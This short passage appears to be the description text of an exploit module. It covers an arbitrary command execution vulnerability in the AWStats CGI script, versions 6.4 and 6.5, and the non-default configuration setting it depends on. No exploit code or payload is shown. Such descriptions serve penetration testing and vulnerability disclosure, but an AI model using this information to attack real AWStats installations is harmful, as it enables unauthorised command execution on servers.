     This module exploits an arbitrary command execution vulnerability in the
    AWStats CGI script. AWStats v6.4 and v6.5 are vulnerable. Perl based
    payloads are recommended with this module. The vulnerability is only
    present when AllowToUpdateStatsFromBrowser is enabled in the AWstats
    configuration file (non-default).
